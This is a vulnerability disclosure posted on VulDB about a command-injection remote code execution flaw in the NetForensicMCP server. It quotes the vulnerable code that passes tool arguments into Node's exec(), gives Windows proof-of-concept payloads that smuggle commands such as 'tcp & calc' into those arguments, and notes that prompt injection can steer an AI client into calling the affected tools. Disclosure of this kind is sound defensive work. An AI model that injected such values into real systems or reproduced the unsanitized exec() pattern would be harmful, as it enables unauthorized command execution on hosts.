Submit #876016: kylecui NetForensicMCP Latest remote code executeinfo

Titelkylecui NetForensicMCP Latest remote code execute
BeschreibungSummary A remote code execution (RCE) vulnerability exists in the NetForensicMCP MCP Server. The root cause is the use of Node.js child_process.exec() to invoke tshark with user-controlled arguments interpolated directly into a shell command string. Parameters such as interface (in capture_packets) and protocol (in extract_stream_content, get_stream_info, and related stream tools) are not sanitized, validated with strict enums, or passed via argument arrays. On Windows, exec() spawns cmd.exe, so shell metacharacters such as & are interpreted as command separators. Successful exploitation allows an attacker to run arbitrary operating-system commands under the privileges of the MCP server process. The server wraps Wireshark’s tshark for PCAP analysis. Because tool arguments are concatenated into shell commands without isolation, any caller that can invoke the affected tools—including an MCP client manipulated through prompt injection—can achieve command execution on the host. Exploitation was confirmed on Windows using MCP Inspector: arbitrary file write via capture_packets, and calculator launch via extract_stream_content and get_stream_info. Details NetForensicMCP is an MCP server for offline network forensics built on tshark. Multiple tools construct shell commands by embedding caller-supplied strings into template literals and passing them to execAsync() (a promisified wrapper around exec()). Unlike execFile() or spawn() with an argument array, exec() runs commands through the system shell. On Windows, this means cmd.exe parses operators such as &, enabling command injection when user input is embedded unquoted or when double-quoted fields are broken out of with embedded " characters. An MCP client can be instructed—directly or via prompt injection—to call affected tools with crafted argument values. For capture_packets, no PCAP file or special directory layout is required beyond a valid pcapPath string. For stream-related tools, a readable PCAP file must exist on disk (the server calls fs.access() before exec()), but no other preparation is needed. The same vulnerable pattern appears in additional tools (extract_stream_chunks, and potentially pcapPath in other tools). This report documents three tools where exploitation was verified in a controlled environment. Below are the vulnerable code paths and steps to reproduce the issue using MCP Inspector on Windows. Vulnerable code The following snippets illustrate the vulnerable pattern. Version: 2.1.0 Repository: https://github.com/kylecui/NetForensicMCP File: index.js Shared primitive const { exec } = require('child_process'); const execAsync = promisify(exec); All affected tools pass user input into execAsync() command strings. On Windows, this invokes cmd.exe and interprets shell metacharacters in the concatenated string. 1. capture_packets — unquoted interface server.tool( 'capture_packets', 'Captures live traffic from a network interface and saves it to a PCAP file.', { interface: z.string().optional().default('en0').describe('Network interface to capture from (e.g., eth0, en0)'), duration: z.number().optional().default(10).describe('Capture duration in seconds'), pcapPath: z.string().describe('Path to save the new PCAP file (e.g., ./live_capture.pcap)'), }, async (args) => { const { interface, duration, pcapPath } = args; await execAsync(`"${tsharkPath}" -i ${interface} -w "${pcapPath}" -a duration:${duration}`); // ... } ); The interface parameter is inserted without quoting. A payload such as eth0 & echo rce > D:/rce.txt & x breaks out of the intended tshark invocation. The shell executes the injected command before or after the truncated tshark command. Verified payload: eth0 & echo rce > D:/rce.txt & x Resulting command (conceptual): "C:\Program Files\Wireshark\tshark.exe" -i eth0 & echo rce > D:/rce.txt & x -w "./poc.pcap" -a duration:1 2. extract_stream_content — unquoted protocol server.tool( 'extract_stream_content', // ... { pcapPath: z.string().describe('Path to the PCAP file to analyze.'), streamIndex: z.number().describe('The index of the stream to extract (obtained from get_conversations).'), protocol: z.string().optional().default('tcp').describe('The protocol of the stream (tcp or udp).'), // ... }, async ({ pcapPath, streamIndex, protocol, maxChars, offset }) => { await fs.access(pcapPath); const { stdout } = await execAsync(`"${tsharkPath}" -r "${pcapPath}" -q -z follow,${protocol},ascii,${streamIndex}`); // ... } ); The protocol parameter is declared as an arbitrary z.string() (not restricted to z.enum(['tcp', 'udp'])) and is inserted unquoted into the -z follow,... argument. Injection via & causes the shell to run attacker-controlled commands. Verified payload: tcp & calc Resulting command (conceptual): "C:\Program Files\Wireshark\tshark.exe" -r "./test.pcap" -q -z follow,tcp & calc,ascii,0 The shell executes calc as a separate command after &. 3. get_stream_info — same protocol injection server.tool( 'get_stream_info', // ... { pcapPath: z.string().describe('Path to the PCAP file to analyze.'), streamIndex: z.number().describe('The index of the stream to analyze.'), protocol: z.string().optional().default('tcp').describe('The protocol of the stream (tcp or udp).'), }, async ({ pcapPath, streamIndex, protocol }) => { await fs.access(pcapPath); const { stdout } = await execAsync(`"${tsharkPath}" -r "${pcapPath}" -q -z follow,${protocol},ascii,${streamIndex}`); // ... } ); Identical injection surface as extract_stream_content. Verified payload: tcp & calc There is no allowlist on protocol, no shell escaping, and no use of execFile() with discrete arguments. The only pre-check is fs.access(pcapPath), which does not mitigate command injection. Using MCP Inspector Prerequisites: Node.js ≥ 16, Wireshark/tshark installed, project dependencies installed. Clone the repository and install dependencies: git clone https://github.com/kylecui/NetForensicMCP.git cd NetForensicMCP npm install For stream-related tools, create a sample PCAP (example using interface 8 on the test host): & "C:\Program Files\Wireshark\tshark.exe" -i 8 -w .\test.pcap -a duration:2 Start MCP Inspector with the server (from the project root): npx @modelcontextprotocol/[email protected] node index.js In MCP Inspector: Open the URL printed in the terminal (e.g. http://127.0.0.1:6274/?MCP_PROXY_AUTH_TOKEN=...) Click Connect Go to the Tools tab and click List Tools PoC 1 — capture_packets Select capture_packets. Confirm that D:\rce.txt does not exist. Enter: interface: eth0 & echo rce > D:/rce.txt & x pcapPath: test Click Run Tool. Verify on the host: PoC 2 — extract_stream_content Select extract_stream_content. Confirm no Calculator process is running. Enter: ​ pcapPath: ./test.pcap ​ protocol: tcp & calc Click Run Tool. The Windows Calculator application opens on the host running the MCP server. PoC 3 — get_stream_info Select get_stream_info. Confirm no Calculator process is running. Enter: ​ pcapPath: ./test.pcap ​ protocol: tcp & calc Click Run Tool. The Windows Calculator application opens on the host running the MCP server. Impact Remote Code Execution (RCE)
Quelle⚠️ https://github.com/kylecui/NetForensicMCP/issues/1
Benutzer
 TianyuLi (UID 99360)
Einreichung01.07.2026 09:33 (vor 2 Monaten)
Moderieren17.08.2026 15:02 (2 months later)
StatusAkzeptiert
VulDB Eintrag391265 [kylecui NetForensicMCP 2.1.0 index.js execAsync interface/protocol erweiterte Rechte]
Punkte20

Want to know what is going to be exploited?

We predict KEV entries!